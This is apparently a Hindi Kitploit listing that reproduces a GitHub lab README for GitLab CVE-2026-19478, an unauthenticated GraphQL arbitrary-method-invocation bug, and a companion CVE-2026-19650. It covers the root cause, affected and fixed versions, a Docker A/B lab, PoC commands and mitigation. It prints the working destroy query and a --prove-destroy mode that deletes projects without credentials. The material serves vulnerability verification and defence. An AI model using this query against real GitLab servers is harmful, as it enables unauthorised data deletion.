Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणवेब सुरक्षापेनिट्रेशन टेस्टिंगलैब और अभ्यास
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) के लिए प्रतिलिपि योग्य A/B लैब + सुरक्षित PoC

रिपॉजिटरी देखें
816 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-19478 — GitLab GraphQL @gl_introduced बिना प्रमाणीकरण के आर्बिट्रेरी-मेथड-इनवोकेशन (सत्यापन लैब + PoC)

CVE-2026-19478 के लिए प्रतिलिपि योग्य A/B लैब और सुरक्षित PoC (GitLab CE/EE, CVSS 9.4, क्रिटिकल)। एक बिना प्रमाणीकरण वाला हमलावर GraphQL-रिज़ॉल्व किए गए डोमेन ऑब्जेक्ट्स पर मनमाने 0-आर्गुमेंट Ruby मेथड्स इनवोक कर सकता है — जैसे Project#destroy को कॉल करके बिना क्रेडेंशियल के पब्लिक प्रोजेक्ट डिलीट करना।

साथ में उसी रिलीज़ में फिक्स किए गए सहयोगी CVE-2026-19650 (GraphQL मल्टीप्लेक्स क्वेरी-स्वैप) के लिए भी एक PoC शामिल है।

केवल अधिकृत सुरक्षा परीक्षण / शिक्षा के लिए। सब कुछ आपके अपने लोकल कंटेनरों पर चलता है।


1. भेद्यता

GitLab एक GraphQL क्लाइंट डायरेक्टिव @gl_introduced(version: "X.Y.Z") शिप करता है (फॉरवर्ड-कम्पैटिबिलिटी रोलिंग डिप्लॉय के लिए)। जब कोई क्वेरी चल रहे सर्वर से नए वर्शन वाले किसी फील्ड का नाम लेती है, तो एक ट्रेसर (Gitlab::Graphql::VersionFilter::IntroducedTracer) उसे स्टैटिक वैलिडेशन से पहले हटा देता है, ताकि क्वेरी वैलिडेट हो जाए, फिर इसे एक्सिक्यूशन पर मूल डॉक्यूमेंट को दोबारा चलाता है और अज्ञात फील्ड्स को फॉलबैक पर रिज़ॉल्व होने देता है।

टूल डाउनलोड करें

बग फॉलबैक में है (lib/gitlab/graphql/version_filter/future_field_fallback.rb, प्री-पैच):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

बिना रिज़ॉल्वर वाला एक GraphQL::Schema::Field graphql-ruby द्वारा निम्न कॉल करके रिज़ॉल्व किया जाता है: object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — respond_to?(@method_sym) → public_send ब्रांच fallback_value के कभी consult होने से पहले चलती है, इसलिए fallback_value: nil डेड कोड था)। अतः @gl_introduced के अंतर्गत, क्लाइंट ऐसा फील्ड नाम चुनता है जो वर्तमान में रिज़ॉल्व किए गए ऑब्जेक्ट पर किसी भी 0-आर्ग मेथड के बराबर होता है, और सर्वर उसे इनवोक कर देता है।

एक पब्लिक प्रोजेक्ट रिज़ॉल्व करें, destroy नामक "फ्यूचर फील्ड" का अनुरोध करें → सर्वर Project#destroy चला देता है।

  • प्रभाव: पब्लिक प्रोजेक्ट्स और यूज़र डेटा का बिना प्रमाणीकरण के मॉडिफाई/डिलीट (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H)।
  • प्रभावित: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3।
  • फिक्स्ड: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — अब फॉलबैक एक स्पष्ट Resolvers::NilResolver का उपयोग करता है जो nil लौटाता है और कभी कोई मेथड कॉल नहीं करता।

ट्रिगर की शर्तें (अनुभवजन्य रूप से सीखी गईं)

  1. @gl_introduced(version:) सर्वर वर्शन से अधिक होना चाहिए (99.0.0 उपयोग करें)।
  2. फील्ड नाम सटीक मेथड नाम, वैसे ही होना चाहिए (Ruby में परिभाषित snake_case, जैसे to_param, destroy)।
  3. पैरेंट सेलेक्शन में ≥1 वास्तविक सिबलिंग फील्ड (जैसे id) होना चाहिए, अन्यथा फ़िल्टर किया गया डॉक्यूमेंट एक खाली सेलेक्शन सेट होता है और GitLab "Field must have selections" वैलिडेशन एरर लौटाता है।

2. क्विक स्टार्ट (A/B लैब: भेद्य 19.2.2 बनाम पैच्ड 19.2.4)

आवश्यकताएँ: Docker + docker compose, ~8 GB खाली RAM, Python 3।

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh प्रत्येक इंस्टेंस के लिए प्रिंट करता है: बेस URL, सीड किया गया पब्लिक प्रोजेक्ट पथ (root/pub), और एक एडमिन PAT।


3. PoC चलाएँ

3a. डिटेक्शन (सुरक्षित, गैर-विनाशकारी — डिफ़ॉल्ट)

हार्मलेस मेथड (to_param) के साथ मेथड-कॉल प्रिमिटिव का उपयोग करता है। कोई डेटा परिवर्तित नहीं होता।

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

अपेक्षित:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

जबकि पैच किए गए इंस्टेंस पर:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. विनाशकारी प्रभाव साबित करें (ऑप्ट-इन — अपने द्वारा बनाए गए एक throwaway प्रोजेक्ट को डिलीट करता है)

REST API के माध्यम से अपना खुद का disposable पब्लिक प्रोजेक्ट बनाता है (setup.sh से एडमिन टोकन चाहिए), फिर बिना प्रमाणीकरण वाले GraphQL अटैक से उसे डिलीट करता है, और पुष्टि करता है कि प्रोजेक्ट चला गया है।

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

अपेक्षित (भेद्य):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

पैच किए गए इंस्टेंस पर, वही रन रिपोर्ट करता है कि प्रोजेक्ट अभी भी 200 OK लौटाता है और destroy null है।

3c. सहयोगी CVE-2026-19650 (मल्टीप्लेक्स क्वेरी-स्वैप) — सुरक्षित

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. अपने खुद के इंस्टेंस पर परीक्षण करें

--url को किसी भी ऐसे GitLab पर पॉइंट करें जिसे आप परीक्षण के लिए अधिकृत हैं, और --project को उस पर मौजूद किसी पब्लिक प्रोजेक्ट पर:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

डिटेक्शन गैर-विनाशकारी है। ऐसी किसी भी चीज़ पर --prove-destroy का उपयोग न करें जो आपकी नहीं है।


5. निवारण

19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 या बाद के वर्शन में अपग्रेड करें। फिक्स फॉलबैक को Resolvers::NilResolver के माध्यम से रूट करता है (nil लौटाता है, कभी ऑब्जेक्ट मेथड इनवोक नहीं करता)। यदि आप तुरंत अपग्रेड नहीं कर सकते, तो प्रॉक्सी पर @gl_introduced डायरेक्टिव / वर्शन-फ़िल्टर पथ को ब्लॉक करें, या बिना प्रमाणीकरण वाले GraphQL एक्सेस को प्रतिबंधित करें।

6. फ़ाइलें

फ़ाइलउद्देश्य
docker-compose.ymlभेद्य 19.2.2-ce (:8222) + पैच्ड 19.2.4-ce (:8224) बूट करता है
setup.shरेडिनेस के लिए प्रतीक्षा करता है, प्रति इंस्टेंस root/pub पब्लिक प्रोजेक्ट + एडमिन टोकन सीड करता है
poc_cve_2026_19478.pyडिटेक्शन (सुरक्षित) + वैकल्पिक --prove-destroy प्रभाव प्रमाण
poc_cve_2026_19650.pyमल्टीप्लेक्स क्वेरी-स्वैप डिटेक्शन (सुरक्षित)

7. सुरक्षा नोट्स

  • सब कुछ उन कंटेनरों को लक्षित करता है जिन्हें आप चलाते हैं। डिफ़ॉल्ट PoC गैर-विनाशकारी है।
  • --prove-destroy अपने खुद के throwaway प्रोजेक्ट को बनाता और डिलीट करता है; यह root/pub या आपके डेटा को कभी छूता नहीं है।
  • रिपोर्टर: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), GitLab HackerOne के माध्यम से। पैच के बाद सार्वजनिक तकनीकी डिस्क्लोज़र लगभग ~90 दिनों के लिए एम्बार्गो रहा; यह लैब तंत्र को सार्वजनिक फिक्स कमिट्स से व्युत्पन्न करता है e283c6adeb3d (फॉलबैक) और d2ea4b971a98 (मल्टीप्लेक्स स्वैप)।